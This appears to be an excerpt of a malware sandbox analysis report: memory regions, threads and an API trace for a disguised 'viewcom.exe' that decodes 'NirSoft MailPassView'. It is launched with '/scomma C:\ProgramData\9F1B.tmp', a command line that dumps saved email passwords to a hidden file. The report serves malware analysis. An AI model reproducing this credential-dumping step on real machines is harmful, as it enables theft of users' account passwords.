start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 1278
start_va = 0x7ffd3000
end_va = 0x7ffd3fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd3000"
filename = ""
Region:
id = 1279
start_va = 0x7ffd4000
end_va = 0x7ffd4fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd4000"
filename = ""
Region:
id = 1280
start_va = 0x7ffd5000
end_va = 0x7ffd5fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd5000"
filename = ""
Region:
id = 1281
start_va = 0x7ffd6000
end_va = 0x7ffd6fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd6000"
filename = ""
Region:
id = 1282
start_va = 0x7ffd7000
end_va = 0x7ffd7fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd7000"
filename = ""
Region:
id = 1283
start_va = 0x7ffd8000
end_va = 0x7ffd8fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd8000"
filename = ""
Region:
id = 1284
start_va = 0x7ffd9000
end_va = 0x7ffd9fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd9000"
filename = ""
Region:
id = 1285
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 1286
start_va = 0x7ffdb000
end_va = 0x7ffdbfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdb000"
filename = ""
Region:
id = 1287
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 1288
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 1289
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 1290
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Thread:
id = 57
os_tid = 0xc18
Thread:
id = 58
os_tid = 0x5bc
Thread:
id = 59
os_tid = 0x14c
Thread:
id = 60
os_tid = 0x118
Thread:
id = 61
os_tid = 0x7e0
Thread:
id = 62
os_tid = 0x7c4
Thread:
id = 63
os_tid = 0x790
Thread:
id = 64
os_tid = 0x78c
Thread:
id = 65
os_tid = 0x63c
Thread:
id = 66
os_tid = 0x590
Thread:
id = 67
os_tid = 0x408
Thread:
id = 68
os_tid = 0x404
Thread:
id = 69
os_tid = 0x3fc
Thread:
id = 70
os_tid = 0x3f8
Thread:
id = 71
os_tid = 0x3f4
Thread:
id = 72
os_tid = 0x3e0
Thread:
id = 85
os_tid = 0xca8
Thread:
id = 90
os_tid = 0xe40
Thread:
id = 108
os_tid = 0xedc
Process:
id = "8"
image_name = "viewcom.exe"
filename = "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe"
page_root = "0x7f13e360"
os_pid = "0xc70"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "6"
os_parent_pid = "0xb98"
cmd_line = "\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" /scomma \"C:\\ProgramData\\9F1B.tmp\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1320
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1321
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 1322
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 1323
start_va = 0x400000
end_va = 0x41bfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1324
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1325
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 1326
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 1327
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 1328
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 1339
start_va = 0x250000
end_va = 0x34ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000250000"
filename = ""
Region:
id = 1340
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1341
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1342
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1343
start_va = 0x140000
end_va = 0x1a6fff
entry_point = 0x140000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1344
start_va = 0x240000
end_va = 0x24ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000240000"
filename = ""
Region:
id = 1345
start_va = 0x420000
end_va = 0x4e7fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000420000"
filename = ""
Region:
id = 1346
start_va = 0x723c0000
end_va = 0x72443fff
entry_point = 0x723c0000
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")
Region:
id = 1347
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 1348
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 1349
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1350
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1351
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1352
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1353
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1354
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x76571601
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 1355
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1356
start_va = 0x77160000
end_va = 0x771dafff
entry_point = 0x77160000
region_type = mapped_file
name = "comdlg32.dll"
filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll")
Region:
id = 1357
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1358
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1359
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1360
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1361
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 1397
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1398
start_va = 0x1b0000
end_va = 0x1b0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 1399
start_va = 0x3f0000
end_va = 0x3fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000003f0000"
filename = ""
Region:
id = 1400
start_va = 0x4f0000
end_va = 0x5f0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004f0000"
filename = ""
Region:
id = 1401
start_va = 0x600000
end_va = 0x11fffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000600000"
filename = ""
Region:
id = 1412
start_va = 0x1c0000
end_va = 0x1c0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001c0000"
filename = ""
Region:
id = 1413
start_va = 0x1200000
end_va = 0x12fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001200000"
filename = ""
Region:
id = 1414
start_va = 0x1300000
end_va = 0x15cefff
entry_point = 0x1300000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1443
start_va = 0x72810000
end_va = 0x7281cfff
entry_point = 0x72810000
region_type = mapped_file
name = "pstorec.dll"
filename = "\\Windows\\System32\\pstorec.dll" (normalized: "c:\\windows\\system32\\pstorec.dll")
Region:
id = 1450
start_va = 0x741e0000
end_va = 0x741f3fff
entry_point = 0x741e1da9
region_type = mapped_file
name = "atl.dll"
filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")
Region:
id = 1649
start_va = 0x15d0000
end_va = 0x16cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000015d0000"
filename = ""
Region:
id = 1650
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 1651
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 1652
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 1653
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 1654
start_va = 0x757b0000
end_va = 0x758ccfff
entry_point = 0x757b158a
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 1655
start_va = 0x75780000
end_va = 0x7578bfff
entry_point = 0x7578238e
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Thread:
id = 79
os_tid = 0xc74
[0079.008] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0079.008] __set_app_type (_Type=0x2)
[0079.008] __p__fmode () returned 0x774531f4
[0079.008] __p__commode () returned 0x774531fc
[0079.008] __getmainargs (in: _Argc=0x12ff5c, _Argv=0x12ff60, _Env=0x12ff64, _DoWildCard=0, _StartInfo=0x12ff68 | out: _Argc=0x12ff5c, _Argv=0x12ff60, _Env=0x12ff64) returned 0
[0079.008] _onexit (_Func=0x4123d0) returned 0x4123d0
[0079.008] _onexit (_Func=0x4123e1) returned 0x4123e1
[0079.009] _onexit (_Func=0x4123f2) returned 0x4123f2
[0079.009] _onexit (_Func=0x412433) returned 0x412433
[0079.009] GetStartupInfoA (in: lpStartupInfo=0x12ff10 | out: lpStartupInfo=0x12ff10*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff))
[0079.009] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0079.009] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x723c0000
[0079.009] GetProcAddress (hModule=0x723c0000, lpProcName="InitCommonControlsEx") returned 0x723c6be6
[0079.009] InitCommonControlsEx (picce=0x12faf0) returned 1
[0079.138] FreeLibrary (hLibModule=0x723c0000) returned 1
[0079.138] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x764f0000
[0079.138] GetProcAddress (hModule=0x764f0000, lpProcName="SHGetSpecialFolderPathA") returned 0x7673fb26
[0079.138] _mbscpy (in: param_1=0x242c93, param_2=0x413fc4 | out: param_1=0x242c93) returned 0x242c93
[0079.138] _mbscpy (in: param_1=0x242ed7, param_2=0x413fc4 | out: param_1=0x242ed7) returned 0x242ed7
[0079.138] _mbscpy (in: param_1=0x12f9c4, param_2=0x414488 | out: param_1=0x12f9c4) returned 0x12f9c4
[0079.139] CreateFontIndirectA (lplf=0x12f9a8) returned 0x20a0936
[0079.139] strncat (in: _Dest="", _Source="Nøú\x12", _Count=0x1 | out: _Dest="N") returned="N"
[0079.139] strncat (in: _Dest="N", _Source="iøú\x12", _Count=0x1 | out: _Dest="Ni") returned="Ni"
[0079.139] strncat (in: _Dest="Ni", _Source="røú\x12", _Count=0x1 | out: _Dest="Nir") returned="Nir"
[0079.139] strncat (in: _Dest="Nir", _Source="Søú\x12", _Count=0x1 | out: _Dest="NirS") returned="NirS"
[0079.139] strncat (in: _Dest="NirS", _Source="oøú\x12", _Count=0x1 | out: _Dest="NirSo") returned="NirSo"
[0079.139] strncat (in: _Dest="NirSo", _Source="føú\x12", _Count=0x1 | out: _Dest="NirSof") returned="NirSof"
[0079.139] strncat (in: _Dest="NirSof", _Source="tøú\x12", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft"
[0079.139] strncat (in: _Dest="NirSoft", _Source=" øú\x12", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft "
[0079.139] strncat (in: _Dest="NirSoft ", _Source="Føú\x12", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F"
[0079.139] strncat (in: _Dest="NirSoft F", _Source="røú\x12", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr"
[0079.139] strncat (in: _Dest="NirSoft Fr", _Source="eøú\x12", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre"
[0079.139] strncat (in: _Dest="NirSoft Fre", _Source="eøú\x12", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free"
[0079.139] strncat (in: _Dest="NirSoft Free", _Source="wøú\x12", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew"
[0079.139] strncat (in: _Dest="NirSoft Freew", _Source="aøú\x12", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa"
[0079.139] strncat (in: _Dest="NirSoft Freewa", _Source="røú\x12", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar"
[0079.139] strncat (in: _Dest="NirSoft Freewar", _Source="eøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware"
[0079.139] strncat (in: _Dest="NirSoft Freeware", _Source=".øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware."
[0079.139] strncat (in: _Dest="NirSoft Freeware.", _Source=" øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. "
[0079.139] strncat (in: _Dest="NirSoft Freeware. ", _Source=" øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. "
[0079.139] strncat (in: _Dest="NirSoft Freeware. ", _Source="høú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. h") returned="NirSoft Freeware. h"
[0079.139] strncat (in: _Dest="NirSoft Freeware. h", _Source="tøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. ht") returned="NirSoft Freeware. ht"
[0079.139] strncat (in: _Dest="NirSoft Freeware. ht", _Source="tøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. htt") returned="NirSoft Freeware. htt"
[0079.139] strncat (in: _Dest="NirSoft Freeware. htt", _Source="pøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http") returned="NirSoft Freeware. http"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http", _Source=":øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http:") returned="NirSoft Freeware. http:"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http:", _Source="/øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http:/") returned="NirSoft Freeware. http:/"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http:/", _Source="/øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://") returned="NirSoft Freeware. http://"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http://", _Source="wøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://w") returned="NirSoft Freeware. http://w"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http://w", _Source="wøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://ww") returned="NirSoft Freeware. http://ww"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http://ww", _Source="wøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www") returned="NirSoft Freeware. http://www"
[0079.139] strncat (in: _Dest="NirSoft Freeware. http://www", _Source=".øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.") returned="NirSoft Freeware. http://www."
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.", _Source="nøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.n") returned="NirSoft Freeware. http://www.n"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.n", _Source="iøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.ni") returned="NirSoft Freeware. http://www.ni"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.ni", _Source="røú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nir") returned="NirSoft Freeware. http://www.nir"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nir", _Source="søú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirs") returned="NirSoft Freeware. http://www.nirs"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirs", _Source="oøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirso") returned="NirSoft Freeware. http://www.nirso"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirso", _Source="føú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsof") returned="NirSoft Freeware. http://www.nirsof"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirsof", _Source="tøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft") returned="NirSoft Freeware. http://www.nirsoft"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft", _Source=".øú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.") returned="NirSoft Freeware. http://www.nirsoft."
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.", _Source="nøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.n") returned="NirSoft Freeware. http://www.nirsoft.n"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.n", _Source="eøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.ne") returned="NirSoft Freeware. http://www.nirsoft.ne"
[0079.140] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.ne", _Source="tøú\x12", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.net") returned="NirSoft Freeware. http://www.nirsoft.net"
[0079.140] LoadIconA (hInstance=0x400000, lpIconName=0x65) returned 0x100185
[0079.140] strncat (in: _Dest="", _Source="Møú\x12", _Count=0x1 | out: _Dest="M") returned="M"
[0079.140] strncat (in: _Dest="M", _Source="aøú\x12", _Count=0x1 | out: _Dest="Ma") returned="Ma"
[0079.140] strncat (in: _Dest="Ma", _Source="iøú\x12", _Count=0x1 | out: _Dest="Mai") returned="Mai"
[0079.140] strncat (in: _Dest="Mai", _Source="løú\x12", _Count=0x1 | out: _Dest="Mail") returned="Mail"
[0079.140] strncat (in: _Dest="Mail", _Source="Pøú\x12", _Count=0x1 | out: _Dest="MailP") returned="MailP"
[0079.140] strncat (in: _Dest="MailP", _Source="aøú\x12", _Count=0x1 | out: _Dest="MailPa") returned="MailPa"
[0079.140] strncat (in: _Dest="MailPa", _Source="søú\x12", _Count=0x1 | out: _Dest="MailPas") returned="MailPas"
[0079.140] strncat (in: _Dest="MailPas", _Source="søú\x12", _Count=0x1 | out: _Dest="MailPass") returned="MailPass"
[0079.141] strncat (in: _Dest="MailPass", _Source="Vøú\x12", _Count=0x1 | out: _Dest="MailPassV") returned="MailPassV"
[0079.141] strncat (in: _Dest="MailPassV", _Source="iøú\x12", _Count=0x1 | out: _Dest="MailPassVi") returned="MailPassVi"
[0079.141] strncat (in: _Dest="MailPassVi", _Source="eøú\x12", _Count=0x1 | out: _Dest="MailPassVie") returned="MailPassVie"
[0079.141] strncat (in: _Dest="MailPassVie", _Source="wøú\x12", _Count=0x1 | out: _Dest="MailPassView") returned="MailPassView"
[0079.141] _mbscpy (in: param_1=0x12fb64, param_2=0x12f9f4 | out: param_1=0x12fb64) returned 0x12fb64
[0079.141] strlen (_Str="/scomma") returned 0x7
[0079.141] strlen (_Str="C:\\ProgramData\\9F1B.tmp") returned 0x17
[0079.141] _strcmpi (_Str1="/savelangfile", _Str2="/scomma") returned -1
[0079.141] _strcmpi (_Str1="/savelangfile", _Str2="C:\\ProgramData\\9F1B.tmp") returned -1
[0079.141] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12f9f0, nSize=0x104 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0079.141] _mbscat (in: param_1=0x12f9f0, param_2=0x4141e4 | out: param_1=0x12f9f0) returned 0x12f9f0
[0079.141] GetFileAttributesA (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom_lng.ini" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom_lng.ini")) returned 0xffffffff
[0079.141] _strcmpi (_Str1="/deleteregkey", _Str2="/scomma") returned -1
[0079.141] _strcmpi (_Str1="/deleteregkey", _Str2="C:\\ProgramData\\9F1B.tmp") returned -1
[0079.141] EnumResourceTypesA (hModule=0x400000, lpEnumFunc=0x40f402, lParam=0x0) returned 1
[0079.141] EnumResourceNamesA (hModule=0x400000, lpType=0x1, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.142] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x4194d8
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x4194d8) returned 0x134
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x4194d8) returned 0x4196b8
[0079.142] LockResource (hResData=0x4196b8) returned 0x4196b8
[0079.142] EnumResourceNamesA (hModule=0x400000, lpType=0x2, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.142] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x4194e8
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x4194e8) returned 0x3e8
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x4194e8) returned 0x4197ec
[0079.142] LockResource (hResData=0x4197ec) returned 0x4197ec
[0079.142] FindResourceA (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x4194f8
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x4194f8) returned 0xd8
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x4194f8) returned 0x419bd4
[0079.142] LockResource (hResData=0x419bd4) returned 0x419bd4
[0079.142] FindResourceA (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x419508
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x419508) returned 0xd8
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x419508) returned 0x419cac
[0079.142] LockResource (hResData=0x419cac) returned 0x419cac
[0079.142] EnumResourceNamesA (hModule=0x400000, lpType=0x3, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.142] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x419518
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x419518) returned 0x2e8
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x419518) returned 0x419d84
[0079.142] LockResource (hResData=0x419d84) returned 0x419d84
[0079.142] FindResourceA (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x419528
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x419528) returned 0x128
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x419528) returned 0x41a06c
[0079.142] LockResource (hResData=0x41a06c) returned 0x41a06c
[0079.142] FindResourceA (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x419538
[0079.142] SizeofResource (hModule=0x400000, hResInfo=0x419538) returned 0x128
[0079.142] LoadResource (hModule=0x400000, hResInfo=0x419538) returned 0x41a194
[0079.142] LockResource (hResData=0x41a194) returned 0x41a194
[0079.142] EnumResourceNamesA (hModule=0x400000, lpType=0x4, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
[0079.142] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x419548
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x419548) returned 0x38c
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x419548) returned 0x41a2bc
[0079.143] LockResource (hResData=0x41a2bc) returned 0x41a2bc
[0079.143] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x419558
[0079.143] SizeofResource (hModule=0x400000, hResInfo=0x419558) returned 0x1f2
[0079.143] LoadResource (hModule=0x400000, hResInfo=0x419558) returned 0x41a648
[0079.143] LockResource (hResData=0x41a648) returned 0x41a648
[0079.143] EnumResourceNamesA (hModule=0x400000, lpType=0x5, lpEnumFunc=0x40f37c, lParam=0x0) returned 1
